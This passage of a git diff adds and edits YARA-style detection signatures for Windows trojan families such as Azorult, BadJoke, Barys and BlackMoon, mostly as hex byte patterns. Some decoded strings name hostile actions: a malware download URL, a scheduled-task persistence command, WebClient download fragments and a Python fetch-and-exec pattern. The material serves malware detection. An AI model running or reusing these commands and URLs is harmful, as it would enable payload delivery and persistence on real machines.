76 00 20 00 6d 00 6f 00 73 00 20 00 6d 00 6f 00 79 00 75 00 72 00 69 00 7a 00 75 00 77 00 65 00 68 00 65 00 } //1 Vobixosidiyove0Yitobodi nahazuwuriguhi sugidov mos moyurizuwehe + $a_01_1 = {48 00 61 00 6b 00 61 00 6c 00 20 00 62 00 65 00 72 00 69 00 7a 00 65 00 73 00 20 00 63 00 61 00 6b 00 20 00 64 00 6f 00 76 00 61 00 7a 00 33 00 52 00 6f 00 6a 00 65 00 79 00 6f 00 70 00 69 00 72 00 65 00 79 00 20 00 77 00 61 00 7a 00 65 00 74 00 61 00 6d 00 20 00 79 00 6f 00 77 00 61 00 79 00 61 00 68 00 20 00 73 00 61 00 73 00 65 00 74 00 61 00 6b 00 69 00 74 00 6f 00 78 00 61 00 70 00 20 00 6b 00 6f 00 6a 00 75 00 6e 00 6f 00 63 00 61 00 67 00 } //1 Hakal berizes cak dovaz3Rojeyopirey wazetam yowayah sasetakitoxap kojunocag + $a_01_2 = {57 00 75 00 68 00 69 00 72 00 75 00 66 00 75 00 20 00 6c 00 69 00 70 00 65 00 6b 00 75 00 66 00 20 00 79 00 6f 00 62 00 6f 00 7a 00 65 00 70 00 } //1 Wuhirufu lipekuf yobozep + $a_01_3 = {54 00 75 00 78 00 69 00 70 00 65 00 6d 00 61 00 6b 00 61 00 70 00 61 00 77 00 75 00 29 00 5a 00 69 00 6e 00 61 00 7a 00 65 00 73 00 6f 00 64 00 20 00 6b 00 6f 00 6d 00 69 00 78 00 75 00 77 00 69 00 74 00 6f 00 6b 00 20 00 73 00 65 00 70 00 61 00 62 00 6f 00 70 00 6f 00 64 00 75 00 63 00 6f 00 6a 00 75 00 79 00 20 00 63 00 69 00 77 00 30 00 53 00 61 00 77 00 65 00 20 00 63 00 65 00 70 00 65 00 62 00 75 00 77 00 61 00 68 00 75 00 6e 00 61 00 72 00 20 00 6d 00 6f 00 76 00 61 00 70 00 6f 00 6c 00 75 00 63 00 75 00 6c 00 61 00 78 00 20 00 70 00 6f 00 73 00 75 00 67 00 6f 00 64 00 69 00 7a 00 69 00 70 00 61 00 72 00 75 00 6b 00 } //1 Tuxipemakapawu)Zinazesod komixuwitok sepabopoducojuy ciw0Sawe cepebuwahunar movapoluculax posugodiziparuk + $a_01_4 = {58 00 69 00 6c 00 61 00 66 00 65 00 77 00 69 00 63 00 20 00 7a 00 61 00 77 00 75 00 6d 00 69 00 79 00 61 00 6c 00 65 00 6c 00 65 00 } //1 Xilafewic zawumiyalele + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Azorult/Trojan_Win32_Azorult_SEZC_MTB.yar b/Trojan/Win32/Azorult/Trojan_Win32_Azorult_SEZC_MTB.yar new file mode 100644 index 0000000000..7f18e37d61 --- /dev/null +++ b/Trojan/Win32/Azorult/Trojan_Win32_Azorult_SEZC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Azorult_SEZC_MTB{ + meta: + description = "Trojan:Win32/Azorult.SEZC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {78 6f 76 61 68 75 67 65 73 2e 65 78 65 } //2 xovahuges.exe + $a_01_1 = {4d 79 46 75 6e 63 31 32 34 40 40 34 } //1 MyFunc124@@4 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Babar/Trojan_Win32_Babar_AB_MTB.yar b/Trojan/Win32/Babar/Trojan_Win32_Babar_AB_MTB.yar new file mode 100644 index 0000000000..a289d99c4c --- /dev/null +++ b/Trojan/Win32/Babar/Trojan_Win32_Babar_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Babar_AB_MTB{ + meta: + description = "Trojan:Win32/Babar.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {50 45 43 6f 6d 70 61 63 74 32 00 16 a4 3a f5 7a a1 68 9d 1c 79 f6 48 4d 51 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Babar/Trojan_Win32_Babar_A_MTB.yar b/Trojan/Win32/Babar/Trojan_Win32_Babar_A_MTB.yar new file mode 100644 index 0000000000..6546bea311 --- /dev/null +++ b/Trojan/Win32/Babar/Trojan_Win32_Babar_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Babar_A_MTB{ + meta: + description = "Trojan:Win32/Babar.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {5d b3 32 a5 35 5c af 0a af eb 1a ce 3d ca 22 bf 2f 4a b9 71 eb 71 e1 80 73 d8 21 b8 2e 49 b8 07 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Babar/Trojan_Win32_Babar_MBXY_MTB.yar b/Trojan/Win32/Babar/Trojan_Win32_Babar_MBXY_MTB.yar deleted file mode 100644 index 2fdb31e284..0000000000 --- a/Trojan/Win32/Babar/Trojan_Win32_Babar_MBXY_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_Babar_MBXY_MTB{ - meta: - description = "Trojan:Win32/Babar.MBXY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_03_0 = {55 8b ec 6a ff 68 ?? ?? 7c 00 68 ?? ?? 7c 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 58 53 56 57 89 65 e8 ff 15 ?? ?? 7c 00 33 d2 8a d4 } //1 - condition: - ((#a_03_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EALB_MTB.yar b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EALB_MTB.yar new file mode 100644 index 0000000000..e47f45316f --- /dev/null +++ b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EALB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_BadJoke_EALB_MTB{ + meta: + description = "Trojan:Win32/BadJoke.EALB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {29 c2 8d 8d e2 59 f1 ff 8b 45 f4 01 c8 88 10 83 45 f4 01 81 7d f4 00 a6 0e 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EAOU_MTB.yar b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EAOU_MTB.yar new file mode 100644 index 0000000000..2ad9fa5df2 --- /dev/null +++ b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EAOU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_BadJoke_EAOU_MTB{ + meta: + description = "Trojan:Win32/BadJoke.EAOU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8d 95 5e 56 fc ff 8b 45 f4 01 d0 88 08 83 45 f4 01 81 7d f4 80 a9 03 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EAZ_MTB.yar b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EAZ_MTB.yar new file mode 100644 index 0000000000..085a404c9d --- /dev/null +++ b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_EAZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_BadJoke_EAZ_MTB{ + meta: + description = "Trojan:Win32/BadJoke.EAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {32 d0 2a d0 88 90 80 f8 42 00 40 3d 05 52 00 00 72 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_KAB_MTB.yar b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_KAB_MTB.yar new file mode 100644 index 0000000000..dbd3de2a8e --- /dev/null +++ b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_KAB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_BadJoke_KAB_MTB{ + meta: + description = "Trojan:Win32/BadJoke.KAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {ba 81 80 80 80 89 c8 f7 ea 8d 04 0a c1 f8 07 89 c2 89 c8 c1 f8 1f 29 c2 89 d0 c1 e0 08 29 d0 29 c1 89 ca 89 d0 0f b6 c0 c1 e0 10 80 cc ff } //20 + $a_01_1 = {ba c5 b3 a2 91 89 c8 f7 ea 8d 04 0a 89 c2 c1 fa 0b 89 cb c1 fb 1f 89 d8 89 d7 29 c7 69 c7 10 0e 00 00 89 cf 29 c7 } //10 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_PGB_MTB.yar b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_PGB_MTB.yar new file mode 100644 index 0000000000..c7c396c3b9 --- /dev/null +++ b/Trojan/Win32/BadJoke/Trojan_Win32_BadJoke_PGB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_BadJoke_PGB_MTB{ + meta: + description = "Trojan:Win32/BadJoke.PGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {8b ca 8b c2 c1 e8 ?? c1 e9 ?? 32 c8 8b c2 c1 e8 ?? 0a c8 0f be c2 0f be c9 0f af c8 8a c1 02 c9 02 c1 c0 e0 ?? 88 84 15 ?? ?? ?? ?? 42 81 fa ?? ?? ?? ?? 72 } //5 + $a_03_1 = {8b ca 4d 8d 40 ?? c1 e9 ?? 8b c2 c1 e8 ?? 32 c8 8b c2 c1 e8 ?? 0a c8 0f be c2 0f be c9 ff c2 0f af c8 0f b6 c1 02 c0 02 c8 c0 e1 ?? 41 88 48 ?? 81 fa ?? ?? ?? ?? 72 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Badur/Trojan_Win32_Badur_EDEQ_MTB.yar b/Trojan/Win32/Badur/Trojan_Win32_Badur_EDEQ_MTB.yar new file mode 100644 index 0000000000..f223858159 --- /dev/null +++ b/Trojan/Win32/Badur/Trojan_Win32_Badur_EDEQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Badur_EDEQ_MTB{ + meta: + description = "Trojan:Win32/Badur.EDEQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 55 c0 8b 45 dc 8b 0c 90 33 4d 80 8b 55 c0 8b 85 50 ff ff ff 89 0c 90 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Badur/Trojan_Win32_Badur_EDE_MTB.yar b/Trojan/Win32/Badur/Trojan_Win32_Badur_EDE_MTB.yar new file mode 100644 index 0000000000..8eae1846a0 --- /dev/null +++ b/Trojan/Win32/Badur/Trojan_Win32_Badur_EDE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Badur_EDE_MTB{ + meta: + description = "Trojan:Win32/Badur.EDE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 0c 90 2b 8d 0c ff ff ff 8b 95 64 ff ff ff 8b 45 b4 89 0c 90 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Badur/Trojan_Win32_Badur_EGRP_MTB.yar b/Trojan/Win32/Badur/Trojan_Win32_Badur_EGRP_MTB.yar new file mode 100644 index 0000000000..0f2a929ce6 --- /dev/null +++ b/Trojan/Win32/Badur/Trojan_Win32_Badur_EGRP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Badur_EGRP_MTB{ + meta: + description = "Trojan:Win32/Badur.EGRP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 4d bc 8b 55 a4 8b 04 8a 33 45 f8 8b 4d bc 8b 55 cc 89 04 8a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Baryas/Trojan_Win32_Baryas_MBY_MTB.yar b/Trojan/Win32/Baryas/Trojan_Win32_Baryas_MBY_MTB.yar new file mode 100644 index 0000000000..7eb62d245f --- /dev/null +++ b/Trojan/Win32/Baryas/Trojan_Win32_Baryas_MBY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Baryas_MBY_MTB{ + meta: + description = "Trojan:Win32/Baryas.MBY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 5a 40 00 00 f0 30 00 00 ff ff ff 08 00 00 00 01 00 00 00 01 00 00 00 e9 00 00 00 d0 57 40 00 c8 57 40 00 a8 14 40 00 78 00 00 00 7f 00 00 00 88 00 00 00 89 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Barys/Trojan_Win32_Barys_AB_MTB.yar b/Trojan/Win32/Barys/Trojan_Win32_Barys_AB_MTB.yar new file mode 100644 index 0000000000..c681e5b0af --- /dev/null +++ b/Trojan/Win32/Barys/Trojan_Win32_Barys_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Barys_AB_MTB{ + meta: + description = "Trojan:Win32/Barys.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {5b b8 13 8d ff ff 80 34 03 b8 40 3d d6 fa ff ff 75 f4 61 e9 76 ?? ff ff 60 e8 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Barys/Trojan_Win32_Barys_AC_MTB.yar b/Trojan/Win32/Barys/Trojan_Win32_Barys_AC_MTB.yar new file mode 100644 index 0000000000..b75b84f31d --- /dev/null +++ b/Trojan/Win32/Barys/Trojan_Win32_Barys_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Barys_AC_MTB{ + meta: + description = "Trojan:Win32/Barys.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {33 c0 89 08 50 45 43 6f 6d 70 61 63 74 32 00 ee 05 9e 8b c4 b7 67 3c 87 2f 7c e1 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Barys/Trojan_Win32_Barys_AHB_MTB.yar b/Trojan/Win32/Barys/Trojan_Win32_Barys_AHB_MTB.yar new file mode 100644 index 0000000000..0674ec8046 --- /dev/null +++ b/Trojan/Win32/Barys/Trojan_Win32_Barys_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Barys_AHB_MTB{ + meta: + description = "Trojan:Win32/Barys.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {03 c3 f7 f7 8a 01 88 45 ff 46 8b da 8d 84 9d f8 fb ff ff 8b 10 89 11 0f b6 4d ff 89 08 3b f7 72 c6 } //3 + $a_01_1 = {f8 8b 01 03 c2 33 d2 f7 75 18 8a 84 95 f8 fb ff ff 30 07 ff 45 f8 8b 45 f8 3b 45 0c 72 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Barys/Trojan_Win32_Barys_CCJZ_MTB.yar b/Trojan/Win32/Barys/Trojan_Win32_Barys_CCJZ_MTB.yar new file mode 100644 index 0000000000..186cfad614 --- /dev/null +++ b/Trojan/Win32/Barys/Trojan_Win32_Barys_CCJZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Barys_CCJZ_MTB{ + meta: + description = "Trojan:Win32/Barys.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {8b 95 f0 f3 ff ff 8b 42 0c 83 e0 10 09 c0 75 ?? 8b 8d f0 f3 ff ff 51 68 00 04 00 00 6a 01 8d 95 f4 f3 ff ff 52 e8 ?? ?? ?? ?? 83 c4 10 89 85 f4 f7 ff ff 8b 85 f8 f7 ff ff 50 8b 8d f4 f7 ff ff 51 6a 01 8d 95 f4 f3 ff ff 52 e8 ?? ?? ?? ?? 83 c4 10 eb } //2 + $a_03_1 = {8b 85 e4 f7 ff ff 50 8b 8d f0 f7 ff ff 51 ff 15 ?? ?? ?? ?? f7 d8 1b c0 40 88 85 f8 f7 ff ff 83 bd fc f7 ff ff 14 7e ?? c7 85 fc f7 ff ff 00 00 00 00 6a 02 ff 15 ?? ?? ?? ?? 8b 95 fc f7 ff ff 83 c2 01 89 95 fc f7 ff ff e9 } //3 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Barys/Trojan_Win32_Barys_PGA_MTB.yar b/Trojan/Win32/Barys/Trojan_Win32_Barys_PGA_MTB.yar new file mode 100644 index 0000000000..2a581c20de --- /dev/null +++ b/Trojan/Win32/Barys/Trojan_Win32_Barys_PGA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Barys_PGA_MTB{ + meta: + description = "Trojan:Win32/Barys.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {8b 45 ec 89 45 ec 8b 4d 10 89 4d f0 ?? ?? 8b 55 f0 83 c2 ?? 89 55 f0 8b 45 10 05 ?? ?? ?? ?? 39 45 f0 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Bayrob/Trojan_Win32_Bayrob_AMX_MTB.yar b/Trojan/Win32/Bayrob/Trojan_Win32_Bayrob_AMX_MTB.yar new file mode 100644 index 0000000000..2dd38fad4e --- /dev/null +++ b/Trojan/Win32/Bayrob/Trojan_Win32_Bayrob_AMX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Bayrob_AMX_MTB{ + meta: + description = "Trojan:Win32/Bayrob.AMX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {57 e8 76 17 00 00 59 e8 d0 06 00 00 0f b7 c0 50 e8 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Bayrob/Trojan_Win32_Bayrob_NIT_MTB.yar b/Trojan/Win32/Bayrob/Trojan_Win32_Bayrob_NIT_MTB.yar new file mode 100644 index 0000000000..4920f44596 --- /dev/null +++ b/Trojan/Win32/Bayrob/Trojan_Win32_Bayrob_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Bayrob_NIT_MTB{ + meta: + description = "Trojan:Win32/Bayrob.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {ba 49 ab ff ff 66 89 15 ?? ?? ?? 00 8a 17 30 11 dd 05 ?? ?? ?? 00 d8 c1 41 47 dc 05 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 3b c8 75 d6 } //3 + $a_01_1 = {8b 72 08 8b 1c 37 89 1c 8e 8b 72 04 bb 01 00 00 00 03 cb 2b f0 83 c7 04 3b ce 7c e4 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Beaconpy/Trojan_Win32_Beaconpy_B.yar b/Trojan/Win32/Beaconpy/Trojan_Win32_Beaconpy_B.yar index 29576cc973..98bcc851f0 100644 --- a/Trojan/Win32/Beaconpy/Trojan_Win32_Beaconpy_B.yar +++ b/Trojan/Win32/Beaconpy/Trojan_Win32_Beaconpy_B.yar @@ -1,11 +1,12 @@ rule Trojan_Win32_Beaconpy_B{ meta: - description = "Trojan:Win32/Beaconpy.B,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 00 " + description = "Trojan:Win32/Beaconpy.B,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 02 00 00 " strings : $a_02_0 = {75 00 72 00 6c 00 6c 00 69 00 62 00 2e 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 [0-10] 65 00 78 00 65 00 63 00 28 00 } //3 + $a_00_1 = {69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 2e 00 70 00 79 00 74 00 68 00 6f 00 6e 00 2d 00 70 00 6f 00 65 00 74 00 72 00 79 00 2e 00 6f 00 72 00 67 00 } //-100 install.python-poetry.org condition: - ((#a_02_0 & 1)*3) >=3 + ((#a_02_0 & 1)*3+(#a_00_1 & 1)*-100) >=3 } \ No newline at end of file diff --git a/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_DA_MTB.yar b/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_DA_MTB.yar new file mode 100644 index 0000000000..42ad8eb630 --- /dev/null +++ b/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_DA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_BlackMoon_DA_MTB{ + meta: + description = "Trojan:Win32/BlackMoon.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,66 00 66 00 05 00 00 " + + strings : + $a_81_0 = {2f 2f 76 69 70 2e 31 32 33 70 61 6e 2e 63 6e 2f } //100 //vip.123pan.cn/ + $a_81_1 = {63 6d 64 20 2f 63 20 64 65 6c 20 25 54 65 6d 70 25 } //1 cmd /c del %Temp% + $a_81_2 = {2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 } //1 .Net.WebClient).D + $a_81_3 = {53 68 65 6c 6c 45 78 65 63 75 74 65 45 78 57 } //1 ShellExecuteExW + $a_81_4 = {43 72 79 70 74 44 65 73 74 72 6f 79 48 61 73 68 } //1 CryptDestroyHash + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=102 + +} \ No newline at end of file diff --git a/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_GB_MTB.yar b/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_GB_MTB.yar deleted file mode 100644 index f5d2d11991..0000000000 --- a/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_GB_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_BlackMoon_GB_MTB{ - meta: - description = "Trojan:Win32/BlackMoon.GB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {8a 17 88 10 8a 57 01 88 50 01 8a 57 02 41 88 50 02 83 c0 03 8b de 0f b6 79 ff 83 e7 03 0f 84 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_MR_MTB.yar b/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_MR_MTB.yar new file mode 100644 index 0000000000..234528a37c --- /dev/null +++ b/Trojan/Win32/Blackmoon/Trojan_Win32_BlackMoon_MR_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_BlackMoon_MR_MTB{ + meta: + description = "Trojan:Win32/BlackMoon.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 05 00 00 " + + strings : + $a_01_0 = {3b f0 73 1e 80 66 04 00 83 0e ff 83 66 08 00 c6 46 05 0a a1 80 af 65 00 83 c6 24 05 80 04 00 00 eb } //10 + $a_01_1 = {57 57 57 2e 31 32 47 41 4d 44 48 2e 43 4f 4d } //2 WWW.12GAMDH.COM + $a_01_2 = {52 65 6d 6f 76 65 50 6c 61 79 65 72 } //1 RemovePlayer + $a_01_3 = {43 72 65 61 74 65 50 6c 61 79 65 72 } //1 CreatePlayer + $a_01_4 = {47 65 74 50 6c 61 79 53 74 61 74 65 } //1 GetPlayState + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_AYA_MTB.yar b/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_AYA_MTB.yar new file mode 100644 index 0000000000..c3733ea443 --- /dev/null +++ b/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_AYA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Blackmoon_AYA_MTB{ + meta: + description = "Trojan:Win32/Blackmoon.AYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {72 2e 63 76 63 76 6e 2e 63 6e 2f 41 43 45 2f 53 63 76 68 6f 73 74 2e 65 78 65 } //2 r.cvcvn.cn/ACE/Scvhost.exe + $a_01_1 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 57 4f 57 36 34 5c 53 63 76 68 6f 73 74 2e 65 78 65 } //2 C:\Windows\SysWOW64\Scvhost.exe + $a_01_2 = {42 6c 61 63 6b 4d 6f 6f 6e 20 52 75 6e 54 69 6d 65 20 45 72 72 6f 72 3a } //1 BlackMoon RunTime Error: + $a_01_3 = {73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 58 4e 2d 44 54 5a 59 20 2f 54 52 20 43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 57 4f 57 36 34 5c 56 49 50 2e 65 78 65 20 2f 64 65 6c 61 79 } //1 schtasks /create /tn XN-DTZY /TR C:\Windows\SysWOW64\VIP.exe /delay + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_GAS_MTB.yar b/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_GAS_MTB.yar new file mode 100644 index 0000000000..8cd92906d9 --- /dev/null +++ b/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_GAS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Blackmoon_GAS_MTB{ + meta: + description = "Trojan:Win32/Blackmoon.GAS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 5d bc 8b 5d bc 8a 03 25 ff 00 00 00 89 45 b4 db 45 b4 dd 5d b4 dd 45 b4 db 45 f4 dd 5d ac dc 65 ac db 45 f8 dd 5d a4 dc 65 a4 dd 5d 9c dd 45 9c e8 97 fd ff ff 68 01 01 00 80 6a 00 50 68 01 00 00 00 bb 40 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_SRA_MTB.yar b/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_SRA_MTB.yar new file mode 100644 index 0000000000..f9619bca05 --- /dev/null +++ b/Trojan/Win32/Blackmoon/Trojan_Win32_Blackmoon_SRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Blackmoon_SRA_MTB{ + meta: + description = "Trojan:Win32/Blackmoon.SRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {03 d8 89 5d e4 8b 5d e4 8a 03 25 ff 00 00 00 89 45 f4 db 45 fc dd 5d e0 dd 45 e0 dc 25 1b 32 49 00 dd 5d d8 dd 45 d8 } //2 + condition: + ((#a_01_0 & 1)*2) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Blocker/Trojan_Win32_Blocker_NIT_MTB.yar b/Trojan/Win32/Blocker/Trojan_Win32_Blocker_NIT_MTB.yar new file mode 100644 index 0000000000..c7beea4537 --- /dev/null +++ b/Trojan/Win32/Blocker/Trojan_Win32_Blocker_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Blocker_NIT_MTB{ + meta: + description = "Trojan:Win32/Blocker.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {89 bd 80 fe ff ff ff 15 20 e0 40 00 8b f0 56 57 ff 15 38 e0 40 00 56 ff b5 80 fe ff ff 8b f8 ff 15 3c e0 40 00 57 89 85 80 fe ff ff ff 15 14 e0 40 00 8b bd 80 fe ff ff 8b f0 57 e8 07 23 00 00 83 c4 04 89 85 7c fe ff ff 85 ff 74 14 8b c8 2b f0 8b d7 8a 04 0e 8d 49 01 88 41 ff 83 ea 01 75 f2 66 a1 90 2b 41 00 0f 